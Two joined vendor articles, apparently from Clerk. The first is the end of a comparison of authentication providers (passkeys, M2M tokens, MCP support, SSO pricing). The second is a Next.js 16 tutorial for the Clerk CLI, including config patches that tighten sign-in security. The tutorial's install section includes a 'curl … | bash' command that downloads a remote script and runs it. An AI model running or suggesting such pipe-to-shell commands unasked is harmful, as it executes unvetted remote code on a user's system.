| Provider                                 | Passkeys                                                                                                                                                                                                                                                                                                                 | M2M / agent tokens                                                                                   | OAuth/OIDC for agent flows                                     | Documented MCP-specific support                                                                                                                                | Edge runtime                                                                                                                             | B2B orgs                                                  | Enterprise SSO                                                                                                                                                              | TS SDKs                                          |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
| Clerk                                    | Yes (Pro+; Hobby excluded)                                                                                                                                                                                                                                                                                               | Yes — JWT (free verify) + opaque ($0.00001/verify)                                                   | Yes — OAuth/OIDC IdP configurable while building an MCP server | Remote MCP server at `mcp.clerk.com/mcp` for SDK snippets; general-purpose MCP authorization server with PRM endpoints for third-party clients: Not documented | Yes — `@clerk/backend` built for "Node.js/V8 isolates (Cloudflare Workers, Vercel Edge Runtime, etc.)"; `proxy.ts` + `clerkMiddleware()` | Yes — first-class organizations; B2B add-on $85/mo annual | Pro+ only, 1 connection included, overage $15–$75/mo per connection                                                                                                         | Yes — TypeScript-first across Node, edge, mobile |
| Auth0 (Okta CIC)                         | Yes — all tiers                                                                                                                                                                                                                                                                                                          | [M2M quotas: 1K (Free/Essentials), 5K (Professional); add-ons $10–$30/mo](https://auth0.com/pricing) | Token Vault for user-delegated API tokens                      | Limited Early Access per Auth0's own page — do not describe as GA                                                                                              | Not documented at URLs audited                                                                                                           | B2B Essentials/Professional: unlimited orgs               | [Metered: Essentials 3 included, Professional 5 included; add-on $100/mo per connection](https://auth0.com/pricing)                                                         | Yes — Node/TS SDKs documented                    |
| Okta Workforce Identity                  | Yes — FIDO2/passkeys via Okta Identity Engine                                                                                                                                                                                                                                                                            | Yes — OAuth 2.0 client credentials                                                                   | Yes — OIDC/OAuth core                                          | Early Access; Okta for AI Agents GA announced 30 Apr 2026; Okta MCP Server for identity admin documented                                                       | Not a runtime provider (IdP)                                                                                                             | Workforce-oriented; not a SaaS "orgs" primitive           | Core product; pricing not public                                                                                                                                            | Yes — Node/TS SDKs                               |
| WorkOS AuthKit                           | Yes — included at no separate charge                                                                                                                                                                                                                                                                                     | Yes — M2M Applications                                                                               | Yes — AuthKit issues OAuth 2.1 tokens                          | Yes — spec-compatible OAuth authorization server for MCP with documented `/.well-known/oauth-protected-resource`                                               | Not documented for AuthKit specifically                                                                                                  | Organizations + Organization Policies                     | [SSO metered per-connection $50–$125/mo tiered; first 1M MAU free then $2,500/M](https://workos.com/pricing)                                                                | Yes                                              |
| Stytch                                   | Yes — passkeys documented                                                                                                                                                                                                                                                                                                | Yes — M2M documented for services                                                                    | Yes — Connected Apps turns an app into OAuth 2.0/OIDC IdP      | Yes — documented MCP server authorization with PRM; OpenAI Apps SDK guide; full DCR + OAuth 2.1; Cloudflare Workers guide                                      | Cloudflare Workers guide                                                                                                                 | B2B product exists                                        | Enterprise SSO + SCIM                                                                                                                                                       | Yes                                              |
| Supabase Auth                            | No native passkey — integrations routed to partners (Corbado / Passage / Clerk)                                                                                                                                                                                                                                          | No documented M2M token product                                                                      | Generic OAuth 2.1 server doc                                   | Not documented as MCP authz server                                                                                                                             | Edge Functions product exists; Auth edge support not explicitly documented                                                               | No first-class orgs primitive                             | [SAML 2.0 SSO: Pro+ project-level, Team/Enterprise org-level; metered $0.015/SSO MAU](https://supabase.com/docs/guides/platform/manage-your-usage/monthly-active-users-sso) | Yes                                              |
| Firebase Auth / Identity Platform        | No native passkey in Firebase Auth or Identity Platform docs                                                                                                                                                                                                                                                             | Custom auth flows only                                                                               | OAuth via federated IdPs                                       | Not documented                                                                                                                                                 | GCP-managed                                                                                                                              | No first-class orgs primitive                             | SAML/OIDC via Identity Platform upgrade                                                                                                                                     | JS/TS SDKs                                       |
| AWS Cognito                              | Yes — [native passkeys (WebAuthn/FIDO2) since Nov 2024; Essentials tier+](https://aws.amazon.com/blogs/security/how-to-implement-password-less-authentication-with-amazon-cognito-and-webauthn/) ([API](https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_WebAuthnConfigurationType.html)) | OAuth 2.0 client credentials                                                                         | Yes                                                            | Not documented as MCP authz server                                                                                                                             | Lambda-backed                                                                                                                            | User pools, not SaaS orgs                                 | SAML/OIDC federation                                                                                                                                                        | Node/TS SDK                                      |
| Azure Entra External ID + Entra Agent ID | [External ID methods page does not explicitly enumerate passkeys](https://learn.microsoft.com/en-us/entra/external-id/customers/concept-authentication-methods-customers); Entra Workforce supports FIDO2/passkeys broadly                                                                                               | OAuth 2.0                                                                                            | Yes                                                            | Entra Agent ID (Preview) supports OAuth 2.0, MCP, and A2A; part of Microsoft Agent 365                                                                         | Azure-native                                                                                                                             | Workforce tenant model                                    | SAML/OIDC core                                                                                                                                                              | TS SDK (MSAL)                                    |
| Keycloak                                 | Yes — [native passkeys GA in 26.4.0](https://www.keycloak.org/docs/latest/release_notes/index.html) (WebAuthn Passwordless Policy)                                                                                                                                                                                       | OAuth 2.0 client credentials                                                                         | Yes                                                            | Not documented as MCP authz server in core                                                                                                                     | Self-hosted (JVM)                                                                                                                        | Realms, not SaaS "orgs"                                   | SAML/OIDC core, self-hosted                                                                                                                                                 | JS/TS adapter available                          |

Every cell above is backed by a concrete source in current official documentation. Cells labeled `Not documented` are not claims of absence — they are claims that we could not find public documentation, as of April 2026, to support the capability at the specificity the column requires.

**Also consider (not in matrix).** [Scalekit](https://docs.scalekit.com/) is an organization-first B2B auth platform with MCP Auth that implements RFC 9728 Protected Resource Metadata, plus AgentKit for delegated-agent connectors. [Descope's Agentic Identity Hub 2.0](https://www.descope.com/press-release/agentic-identity-hub-2.0) bundles Inbound Apps (OAuth IdP), Outbound Apps, and MCP Auth SDKs with OAuth 2.1 and tool-level scopes. [Ory](https://www.ory.com/docs/welcome) is the canonical open-source/self-hosted option — Kratos supports WebAuthn/passkeys, and Hydra is OpenID Certified for OAuth 2.0/2.1.

### Provider-by-provider

#### Clerk

TypeScript-first across web, mobile, and backend, with passkeys, M2M tokens, and organizations as first-class primitives. Publishes a remote MCP server for SDK snippet distribution to AI coding assistants. Best fit: TypeScript, Next.js, or Expo teams, and B2B SaaS needing organizations. Pricing honesty — Hobby excludes passkeys, MFA, and enterprise SSO; Pro+ includes 1 enterprise connection with overage metered at $15–$75/mo per connection.

#### Auth0 (Okta Customer Identity)

Breadth of enterprise features, a long track record, and flexibility via Actions and Rules. 2026 releases include Auth0 for AI Agents and Token Vault for user-delegated API tokens. MCP support is Limited Early Access per Auth0's own page — it should not be described as GA. Enterprise connections are metered as add-ons above the tier inclusion.

#### Okta Workforce Identity

The enterprise IdP. Okta for AI Agents blueprint plus a virtual MCP server have a GA date announced for 30 April 2026 (Early Access at the time of writing), and the Okta MCP Server for natural-language identity administration is documented today. Best for workforce SSO combined with agent identity governance, rather than for consumer-facing CIAM.

#### WorkOS AuthKit

Strong workforce onboarding with enterprise SSO, SCIM, and directory sync built in. AuthKit passkeys are included at no separate charge, and AuthKit is a spec-compatible OAuth authorization server for MCP with documented Protected Resource Metadata endpoints. Consumer UX is not the primary focus, and SSO is metered per connection at tiered monthly rates.

#### Stytch

Passwordless-first with documented MCP server authorization including Protected Resource Metadata, an OpenAI Apps SDK guide, a Cloudflare Workers guide, and Connected Apps — which turns any application into an OAuth 2.0/OIDC IdP. Full Dynamic Client Registration plus OAuth 2.1 puts it in the most MCP-native tier alongside WorkOS and Scalekit.

#### Supabase Auth

Tight Postgres integration, open-source, and cheap at small scale. No native passkey support — passkey integrations route through Corbado, Passage, or Clerk via the Supabase Partners program. SAML 2.0 SSO is available at Pro+ (project-level) and Team/Enterprise (org-level), metered at $0.015 per SSO MAU. No first-class organizations primitive.

#### Firebase Authentication / Identity Platform

Ease of use for Firebase stacks and tight Google ecosystem integration. Neither Firebase Auth nor the Identity Platform docs document a native passkey / WebAuthn sign-in method as of this writing. SMS MFA plus SAML/OIDC federation via the Identity Platform upgrade cover enterprise cases; agent auth patterns and portability off GCP are limited.

#### AWS Cognito

Tight AWS integration and native passkeys / WebAuthn since November 2024 on the Essentials tier and above, with up to 20 passkeys per user. Frequently paired with Amazon Verified Permissions (which uses the Cedar policy language) for fine-grained authorization. User pools, not SaaS-style organizations.

#### Azure Entra External ID / Entra Agent ID

Microsoft's CIAM on Azure. The External ID methods page does not explicitly enumerate passkeys, though Entra Workforce supports FIDO2 / passkeys broadly. Entra Agent ID (Preview) supports OAuth 2.0, MCP, and Agent-to-Agent (A2A) as part of Microsoft Agent 365 — notable for organizations already standardized on the Microsoft cloud.

#### Keycloak

Self-hosted open-source IdP. Native passkey UIs were promoted to GA in 26.4.0 — conditional and modal sign-in via the WebAuthn Passwordless Policy. Good DIY-but-supported choice for on-prem deployments, data-residency-pinned workloads, or teams that want full operational control without paying per-MAU.

#### DIY with open-source libraries

[Auth.js v5](https://authjs.dev/getting-started/authentication/webauthn) is still in beta — `next-auth@5.0.0-beta.x` — and the WebAuthn/Passkeys provider is, per the official docs, *"experimental and not recommended for production use."* No built-in organizations, [RBAC](/glossary/role-based-access-control-rbac), or 2FA. [Lucia v3](https://github.com/lucia-auth/lucia/discussions/1714) is deprecated per the maintainer's "A fresh start" post and has been repositioned as a learning resource for session fundamentals rather than an actively developed library. Raw `jose` plus a custom IdP is viable for very narrow scopes, but inherits every ongoing maintenance cost described earlier in this article.

### Decision matrix by use case

For a **consumer app with passkey-first UX**, Clerk, Auth0, WorkOS, AWS Cognito, and Stytch are all strong fits — each ships passkeys as a first-class strategy with sensible fallbacks. For **B2B SaaS with organizations and SSO**, the short list narrows to Clerk, WorkOS, Auth0 (B2B Essentials/Professional), and Stytch for B2B — the differentiator is usually organization modeling depth versus enterprise-SSO pricing. For **internal tools and admin panels** where scope is narrow and stable, Auth.js v5 paired with a raw IdP can be defensible; once requirements grow — SSO, audit logs, multi-org — moving to Clerk or Auth0 is usually faster than backfilling them. For **agent- or MCP-centric products**, WorkOS AuthKit, Stytch, Scalekit, and Descope are the most MCP-native today; Clerk is the strongest TypeScript-first choice for agent workloads centered on M2M tokens and SDK-snippet distribution. For **highly regulated or air-gapped deployments**, Keycloak self-hosted and Ory self-hosted remain the canonical answers.

Analyst context for teams doing vendor reviews: Gartner's 2025 Magic Quadrant for Access Management names Okta, Microsoft, and Ping as Leaders; Forrester's Q4 2024 Wave for CIAM lists Ping, Transmit Security (Mosaic), and Strivacity as Leaders; KuppingerCole's 2026 CIAM Leadership Compass names LoginRadius, cidaas, and Ping as overall Leaders. Clerk is being discussed in the same ecosystem these reports cover, and the capabilities above are what buyers are now asking every vendor — including the named Leaders — to demonstrate in 2026.

## Looking Ahead: Authentication in 2027 and 2028

The next 18-24 months will move authentication from "passkeys are arriving" to "passkeys are the default and agents are first-class principals." The shifts below are grounded in shipping standards, published roadmaps, and analyst forecasts — not hype.

### Likely trajectories

Expect passkey enrollment to become the default path on new account creation, with password entry reframed as a fallback exception. Gartner's Market Guide for User Authentication (Hoover & Allan, Nov 2024) forecasts that more than 90% of MFA transactions will run via FIDO passkey by 2027 — the report is paywalled and not publicly linkable, but its direction matches what major identity vendors are already shipping.

OAuth 2.1 plus MCP-style flows will be expected for anything an AI agent can call. If your API has no agent-auth story by 2027, you will be integrating one under pressure rather than by design.

Edge-first auth pipelines — JWT verification at ingress, JWKS cached at the PoP — are moving from an optimization to the assumed baseline in new framework templates. Finally, workforce and customer identity continue to converge on the same standards (WebAuthn, OAuth 2.1, OIDC), narrowing the historical CIAM/IAM split so the same token formats and recovery flows serve both audiences.

### Speculative but worth watching

**FedCM.** Chrome 117+ ships full support, and Google made FedCM mandatory for One Tap and the Sign-In With Google button in August 2025 ([Privacy Sandbox blog](https://privacysandbox.google.com/blog/fedcm-shipping)). Firefox paused its implementation and Safari has no announced plans, so FedCM is Chromium-first rather than universal — plan for it as a progressive enhancement, not a cross-browser replacement for redirect-based federation.

**DPoP and sender-constrained tokens.** [RFC 9449](https://datatracker.ietf.org/doc/html/rfc9449) defines Demonstrating Proof of Possession, and FAPI 2.0 makes DPoP or mTLS mandatory for financial-grade flows. Expect sender-constrained tokens to spread beyond banking as edge deployments make replay attacks cheaper to attempt.

**Continuous / risk-based re-authentication.** Market-size forecasts vary widely across research firms with no convergence, so trust the direction — strong projected growth through 2030 — rather than any single headline number. Microsoft's Continuous Access Evaluation is a concrete productized example already in broad deployment.

**Standardized agent identity and delegation beyond OAuth 2.1.** Drafts to track: IETF [WIMSE architecture](https://datatracker.ietf.org/doc/draft-ietf-wimse-arch-07), [OIDC-A](https://arxiv.org/html/2509.25974v1), and [Agentic JWT](https://arxiv.org/html/2509.13597v1). The NIST AI Agent Standards Initiative launched in February 2026, and SPIFFE/SPIRE remains the practical choice for workload identity of agents inside a cluster.

**Credential portability.** CXP and CXF adoption across major password managers would end today's passkey lock-in across ecosystems ([Corbado overview](https://www.corbado.com/blog/credential-exchange-protocol-cxp-credential-exchange-format-cxf)).

**Deepfake-driven changes to identity verification.** Gartner forecasts that 30% of enterprises will consider identity verification and authentication solutions unreliable in isolation due to deepfakes by 2026 ([Gartner press release](https://www.gartner.com/en/newsroom/press-releases/2024-02-01-gartner-predicts-30-percent-of-enterprises-will-consider-identity-verification-and-authentication-solutions-unreliable-in-isolation-due-to-deepfakes-by-2026)). Expect layered liveness and behavioral signals, not a single silver-bullet check.

**EU Digital Identity Wallet (eIDAS 2.0).** The regulation's derived deadline is roughly 21 November 2026 for member states to offer wallets to citizens ([Regulation (EU) 2024/1183](https://eur-lex.europa.eu/eli/reg/2024/1183/oj/eng)), which will reshape consumer identity UX across Europe.

**Post-quantum cryptography migration.** PQC for authentication — hybrid signature schemes, new JOSE algorithms — is starting to surface on 2027-2028 roadmaps. Near-term impact on most application auth stacks is limited, but it is worth tracking in your supply chain.

### What teams should do now

Adopt passkey-primary authentication wherever the user base and recovery flows allow it. Design auth flows with agent principals in mind — scoped tokens, audience restrictions, revocation — even if you do not have agents in production yet. Verify tokens at the edge by default on new projects so the architectural cost is paid upfront rather than retrofitted later. Finally, choose providers and libraries whose public roadmap aligns with these directions; swapping an IdP later is expensive.

## FAQ

---

# Add Clerk authentication to a Next.js app with the Clerk CLI
URL: https://clerk.com/articles/add-clerk-authentication-to-a-next-js-app-with-the-clerk-cli.md
Date: 2026-04-24
Description: The Clerk CLI adds authentication to a Next.js 16 App Router app end-to-end: scaffold, pull keys, patch passkeys as code, and validate wiring — no dashboard round-trip.

**How do I add Clerk authentication to a Next.js app with the Clerk CLI?**

Run `clerk init` against a [Next.js](/glossary/next-js) 16 [App Router](/glossary/app-router) project — the [Clerk CLI](/changelog/2026-04-22-clerk-cli) (released 2026-04-22) installs `@clerk/nextjs` v7, writes `proxy.ts` (the Next.js 16 [middleware](/glossary/middleware) replacement, [per the release notes](https://nextjs.org/blog/next-16)), wires [`ClerkProvider`](/glossary/clerkprovider) into the layout, and scaffolds sign-in and sign-up routes. Then run `clerk env pull` to write your [publishable key](/glossary/publishable-key) and [secret key](/glossary/secret-key) into `.env.local`, `clerk doctor` to validate the wiring, and `clerk config patch` to manage [passkeys](/glossary/passkeys), sign-in methods, and password policy as code you can commit. The walkthrough below goes end-to-end against a fresh starter and shows how to inspect users with `clerk api`.

Before 2026-04-22, adding Clerk to Next.js meant three things in three places — install the [SDK](/glossary/software-development-kit-sdk) in your terminal, copy keys out of the dashboard, and hand-edit `layout.tsx` and `middleware.ts` in your editor. The CLI replaces that *default* path; the dashboard remains the escape hatch (`clerk open`) for OAuth provider client secrets, billing, and other operations that still live there.

## 1. Why the Clerk CLI

Before 2026-04-22, adding Clerk to a Next.js app meant three things in three places: install the [SDK](/glossary/software-development-kit-sdk) in your terminal, copy keys out of the Clerk Dashboard, and hand-edit `layout.tsx` and `middleware.ts` in your editor. Every "Add Clerk to Next.js" tutorial led with `pnpm add @clerk/nextjs`, a dashboard tab, and a block of boilerplate to paste in. The CLI replaces that round-trip.

`clerk init` installs the SDK, writes `proxy.ts` (the Next.js 16 [middleware](/glossary/middleware) replacement, [per the Next.js 16 release notes](https://nextjs.org/blog/next-16)), wires [`ClerkProvider`](/glossary/clerkprovider) into the layout, and scaffolds sign-in and sign-up routes. `clerk env pull` writes your [publishable key](/glossary/publishable-key) and [secret key](/glossary/secret-key) straight to `.env.local`. `clerk config pull` and `clerk config patch` let you treat Clerk's instance configuration like any other file in your repo: code-reviewable, versionable, diff-able, scriptable from CI. `clerk doctor` is a first-class preflight that catches missing envs, broken providers, or stale SDK versions before the dev server does. `clerk api` is an authenticated terminal for the Backend API so you can explore users, sessions, and organizations without hand-rolling `curl` commands.

The CLI does not replace the dashboard — some operations (OAuth provider client secrets, billing) still live there, and `clerk open` is the escape hatch. It replaces the *default* path: the one you hit at the start of every new project.

## 2. Prerequisites

Before starting, confirm you have:

- [ ] Node.js 20.9 or newer (the [minimum for Next.js 16](https://nextjs.org/blog/next-16#version-requirements); Node.js 18 is no longer supported)
- [ ] A [node package manager](/glossary/node-package-manager) — pnpm, npm, yarn, or bun (this guide uses pnpm; the CLI's `--pm` flag accepts any)
- [ ] A Clerk account — the free Hobby tier is enough for `init`, `env pull`, `doctor`, `api`, and the access-control patch in this guide; the passkey and custom-password-policy patches require a paid plan (see [pricing](/pricing))
- [ ] An editor, terminal, and a browser signed into your Clerk account so `clerk auth login` can complete

Intermediate [TypeScript](/glossary/typescript) comfort helps but is not required — the starter is a standard Next.js 16 App Router project, and the configuration patches are plain JSON.

## 3. Install or update the Clerk CLI

Install globally with your preferred package manager:

```sh {{ filename: 'terminal' }}
pnpm add -g clerk
```

```sh {{ filename: 'terminal' }}
npm install -g clerk
```

```sh {{ filename: 'terminal' }}
brew install clerk/stable/clerk
```

```sh {{ filename: 'terminal' }}
curl -fsSL https://clerk.com/install | bash
```

Running it once without installing is also supported via `npx clerk` or `bunx clerk`, which is the right call for CI or one-shot scripts where a global install is overkill.

If you already have it, update to the latest release:

```bash
clerk update
```

Use `clerk update --channel canary` to ride the unstable channel, and `clerk update --all` to update *every* `clerk` binary found on your PATH — useful if you have the CLI installed via multiple package managers (say, pnpm plus Homebrew) and want them all on the same version. Agent skills update separately, via `clerk skill install` (see next section). Verify the install:

```bash
clerk --version
```

> \[!TIP]
> Enable shell completion once and forget it exists. For zsh: `clerk completion zsh >> ~/.zshrc` and open a new terminal. Bash and fish are supported via the same subcommand.

## 4. Install the Clerk agent skill and update existing Clerk skills

Clerk ships a bundled set of agent skills — the core `clerk` skill for the CLI itself plus framework-specific skills like `clerk-nextjs-patterns`, `clerk-react-patterns`, and `clerk-tanstack-patterns` — that teach AI coding harnesses (Claude Code, Cursor, Copilot) how to use Clerk correctly. Install them once globally:

```bash
clerk skill install
```

The CLI detects your scope (user-level `~/.claude/skills/` by default) and installs every Clerk-maintained skill into it. If you want project-local install instead, run the command inside a project directory with a `.claude/` folder present.

> \[!NOTE]
> Skills drift. If you installed Clerk skills months ago, re-run `clerk skill install` periodically — not just when you start a new article or project. The bundle refreshes alongside Clerk's SDKs, and an out-of-date skill is worse than no skill because it teaches stale APIs confidently. Make it a recurring habit.

The skills give your agent current, version-matched Clerk knowledge — for example, they know `@clerk/nextjs` v7 exports `<Show when="signed-in">` rather than the removed `<SignedIn>` / `<SignedOut>` components, so the code your agent generates matches the code the CLI scaffolds. This pattern — CLI-installed, version-pinned agent skills — is the same model [Next.js](https://nextjs.org/docs/app/guides/ai-agents) and [shadcn/ui](https://ui.shadcn.com/docs/skills) have adopted.

## 5. Log in and pick an application

Authenticate the CLI with your Clerk account. This opens a browser [OAuth](/glossary/oauth) flow and returns a token the CLI stores locally:

```bash
clerk auth login
clerk whoami
```

`clerk whoami` prints the account email and the active instance, which is how you verify the login stuck.

List the Clerk applications your account can access:

```bash
clerk apps list
```

The output includes each app's ID (`app_…`), name, and instance types. You can create a new app from the terminal with `clerk apps create <name>`, which is useful when scripting onboarding or spinning up a throwaway instance for testing. If you need the dashboard for anything the CLI does not cover yet — custom OAuth credentials, billing, analytics — `clerk open` opens the currently-linked application in your browser.

## 6. Scaffold a Next.js app with `clerk init --starter`

From the directory where you want the new project to live:

```bash
clerk init --starter --framework next --pm pnpm --name my-clerk-next-app
```

`--starter` tells the CLI to scaffold a new project from a template rather than integrate into the current directory. `--framework next` selects the Next.js starter; `--pm pnpm` chooses your package manager; `--name` names the directory. Omit `--name` and the CLI prompts you interactively.

The starter generates a Next.js 16 App Router project pinned to `next@16.2.4`, `react@19.2.4`, and `@clerk/nextjs@^7.2.5`, with the following layout:

```
my-clerk-next-app/
├─ app/
│  ├─ layout.tsx        # ClerkProvider, <Show when="..."> header, UserButton
│  ├─ page.tsx
│  ├─ sign-in/[[...sign-in]]/page.tsx
│  └─ sign-up/[[...sign-up]]/page.tsx
├─ proxy.ts             # clerkMiddleware + createRouteMatcher
├─ next.config.ts
├─ package.json
└─ tsconfig.json
```

Two things to notice about that layout. First, the middleware file is named `proxy.ts`, not `middleware.ts`. Next.js 16 [renamed the network-boundary file to `proxy.ts`](https://nextjs.org/blog/next-16) to make the boundary explicit; the CLI's starter already uses the new name. Second, the root layout uses `<Show when="signed-in">` and `<Show when="signed-out">` — the [Clerk Core 3 replacements](/docs/guides/how-clerk-works/overview) for the older `<SignedIn>` / `<SignedOut>` components — so gated UI is correct out of the box.

The generated `proxy.ts` looks like this:

```tsx
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isPublicRoute = createRouteMatcher(['/sign-in(.*)', '/sign-up(.*)'])

export default clerkMiddleware(async (auth, request) => {
  if (!isPublicRoute(request)) {
    await auth.protect()
  }
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Every route is private by default; only the sign-in and sign-up paths are public. `auth.protect()` short-circuits unauthenticated requests before they reach any server component.

`clerk init` also auto-links the generated project to a Clerk application. If you ran the command signed in, it created or attached a development instance and wrote the link to `.clerk/config.json` in the project. That is what makes the next three commands (`env pull`, `doctor`, `config`) work without any extra flags.

Switch into the new directory:

```bash
cd my-clerk-next-app
```

## 7. Link to an existing Clerk app (optional)

If you want to point the scaffolded project at an app you (or your team) already own — say, a shared staging instance — break the auto-link and create a new one:

```bash
clerk unlink
clerk link --app app_xxx
```

Get the application ID from `clerk apps list`. `clerk link` writes the chosen app back to `.clerk/config.json` so subsequent CLI commands target it. This workflow matters most on teams: every developer can scaffold locally, then `clerk link` onto the shared development instance so they all hit the same user pool, same config, same logs.

You can also skip the auto-link entirely by passing `--app app_xxx` to `clerk init` in the first place, which is the right shape for CI or scripted scaffolds.

## 8. Pull environment variables

With a linked app in place, pull the publishable and secret keys straight into `.env.local`:

```bash
clerk env pull
```

The command writes two variables:

```bash
NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_…
CLERK_SECRET_KEY=sk_test_…
```

By default `clerk env pull` targets the development instance. When you are ready to ship, pull production keys instead:

```bash
clerk env pull --instance prod
```

Use `--file` to write somewhere other than `.env.local` — for example, `clerk env pull --file .env.production.local` for a Vercel deploy that expects that filename. The command is idempotent: re-running it overwrites the matched keys without touching any unrelated variables you have added to the file.

> \[!WARNING]
> Never commit `.env.local` or any file containing `CLERK_SECRET_KEY`. The starter's `.gitignore` already excludes `.env*.local`; keep it that way.

## 9. Run `clerk doctor` the first time (it should fail)

`clerk doctor` is the integration health check. Run it *before* you start the dev server the first time — it catches problems the dev server would otherwise report as a stack trace on the first page load.

To see the failure shape on purpose, temporarily hide the env file and run doctor:

```bash
mv .env.local .env.local.bak
clerk doctor
```

The output flags the missing publishable key and the missing secret key as distinct failures, confirms that `ClerkProvider` is wired in `app/layout.tsx`, confirms that `clerkMiddleware` is wired in `proxy.ts`, and reports your installed `@clerk/nextjs` version. The failure is specific enough to act on: it tells you *which* variable is missing and *where* the CLI expects it, not just "auth is broken."

A failing `clerk doctor` is a good thing. It is faster and more legible than a runtime stack trace from the Next.js dev server, and it gives you actionable errors before you have loaded a single page.

## 10. Run `clerk doctor` after env pull (green)

Restore the env file and re-run:

```bash
mv .env.local.bak .env.local
clerk doctor
```

Every check now passes: env vars present, provider wired, middleware wired, SDK version current. `clerk doctor --spotlight` hides the passing checks and shows only failures, which is the mode you want once the project is healthy and you are only running doctor to confirm nothing has regressed.

> \[!TIP]
> `clerk doctor --fix` attempts auto-remediation for the common failures — missing `ClerkProvider`, missing middleware wiring, out-of-date SDK. Inspect the diff it proposes before accepting it.

## 11. Start the dev server and sign up a test user

With doctor green, start the dev server:

```bash
pnpm dev
```

Open `http://localhost:3000`. The starter renders a header with **Sign in** and **Sign up** buttons (the `<Show when="signed-out">` branch of `app/layout.tsx`). Click **Sign up**, create a test user with email + password, verify the email code, and land back on the starter's home page — now with a `UserButton` avatar in the header (the `<Show when="signed-in">` branch).

That is a working Clerk-authed Next.js 16 app — scaffolded, keyed, and signed into — with zero dashboard clicks. Every step after this point is configuration on top of a running system.

## 12. Configure Clerk as code: `clerk config`

`clerk config` is the command that made the CLI worth shipping. Instead of clicking through dashboard toggles to enable passkeys, add sign-in methods, or change session policy, you describe the configuration in JSON and apply it through the terminal — reviewable in a pull request, versionable in git, replayable across dev and production.

### Discover the schema

Before patching anything, see what is configurable:

```bash
clerk config schema
```

The full schema is long. Narrow it to the keys you care about:

```bash
clerk config schema --keys auth_passkey session auth_access_control
```

### Pull the current state

Snapshot the current instance configuration:

```bash
clerk config pull --output config.before.json
```

`config.before.json` is a full dump of every setting Clerk currently has for the linked instance — sign-in methods, session policy, OAuth connectors, organization settings, branding. Commit it to a branch (it's not a secret; it contains no keys) and you have a versioned record of the instance.

### Patch 1 — enable passkeys

Passkeys are phishing-resistant, WebAuthn-backed credentials bound to the user's device.

> \[!IMPORTANT]
> Passkeys require a paid Clerk plan. The Hobby (free) tier blocks this patch with a plan-gate error. See [pricing](/pricing).

Dry-run the patch first to see the exact change the CLI will apply:

```bash
clerk config patch --dry-run --json '{"auth_passkey":{"used_for_sign_in":true}}'
```

The dry-run output prints the JSON diff against the current config without mutating anything. When you are happy with it, drop `--dry-run`:

```bash
clerk config patch --json '{"auth_passkey":{"used_for_sign_in":true}}' --yes
```

`--yes` skips the interactive confirmation so the command works in CI. Passkey sign-in is now enabled on the instance. Clerk's UI components will pick up the change on the next render — no server restart required beyond Next.js's dev HMR.

### Patch 2 — tighten sign-in security

Block disposable email domains at sign-up and lower the failed-attempt lockout threshold from the default:

```bash
clerk config patch --dry-run --json '{
  "auth_access_control": { "block_disposable_email_domains": true },
  "auth_attack_protection": {
    "user_lockout": { "max_attempts": 10 }
  }
}' --yes
```

After the dry-run confirms the diff, remove `--dry-run`. Two semantic changes in one patch: sign-ups from throwaway email services are rejected, and the lockout triggers after 10 failed attempts instead of the default 100.

### Patch 3 — strengthen the password policy

Clerk's default policy adheres to NIST 800-63B — 8-character minimum, no composition rules, HIBP (Have I Been Pwned) checks on sign-up and sign-in — which is sound out of the box. If your threat model calls for something stricter, tighten the policy so sign-ups and password resets must meet a higher bar:

> \[!IMPORTANT]
> Custom password requirements are a Pro/Business feature. The Hobby (free) tier keeps the NIST defaults and blocks this patch. See [pricing](/pricing).

```bash
clerk config patch --json '{
  "auth_password": {
    "min_length": 12,
    "min_zxcvbn_strength": 3,
    "require_numbers": true,
    "show_zxcvbn": true
  }
}' --yes
```

Four semantic changes: the minimum length goes from the default 8 to 12 characters, the `min_zxcvbn_strength` threshold lifts from 0 to 3 (on zxcvbn's 0-4 scale, where 3 is "safely unguessable"), passwords must contain at least one number, and Clerk's hosted UI renders a live strength meter on the password field. HIBP checks are already enforced on sign-in by default on a fresh instance — see `auth_password.enforce_hibp_on_sign_in` in the pulled config.

### Snapshot the result

Pull the new state and diff it against the original:

```bash
clerk config pull --output config.after.json
diff config.before.json config.after.json
```

You should see the expected semantic changes (plus an auto-bumped `config_version`): `auth_passkey.used_for_sign_in` went `true`, `auth_access_control.block_disposable_email_domains` went `true`, `auth_attack_protection.user_lockout.max_attempts` went `10`, and the four `auth_password` tightening fields moved from their defaults to the stricter policy. That diff is now your instance configuration change log — commit both files to the repo and the review is a normal PR.

## 13. Verify the config changes worked

Reload `http://localhost:3000`. Click **Sign in** and you should now see a passkey registration option (Clerk's SDK renders the passkey button when `auth_passkey.used_for_sign_in` is true and the browser supports [WebAuthn](/glossary/webauthn)). Sign in with your existing test user, open **User button → Manage account → Security**, and register a passkey using your browser's built-in authenticator — Touch ID on macOS, Windows Hello on Windows, the device's screen lock on Android. The passkey is now bound to that user and can be used on any subsequent sign-in.

Try to sign up a new user with a disposable email (for example, an address at `mailinator.com`) and you should get a policy-enforced rejection from the `auth_access_control` patch. In the same sign-up flow, try a weak password like `password` — the form will reject it against the new `min_length`, `min_zxcvbn_strength`, and `require_numbers` rules, and the strength meter underneath the field reflects the `show_zxcvbn` toggle from Patch 3.

## 14. Inspect your instance with `clerk api`

`clerk api` is an authenticated terminal client for Clerk's Backend API, with key resolution and instance targeting handled automatically by the linked app.

Discover what endpoints exist:

```bash
clerk api ls
clerk api ls users
```

`clerk api ls` lists the top-level resources; `clerk api ls users` scopes to a single resource and shows the available operations.

Fetch the list of users on the instance — your test user should appear:

```bash
clerk api /users
```

Pick the user ID from the response and fetch the full user object:

```bash
clerk api /users/user_xxx
```

The response includes the `passkeys` array (populated after step 13) and the user's primary email, both of which confirm the earlier steps landed. Use the one-liner `clerk api /users/user_xxx | jq '.passkeys'` to zoom in.

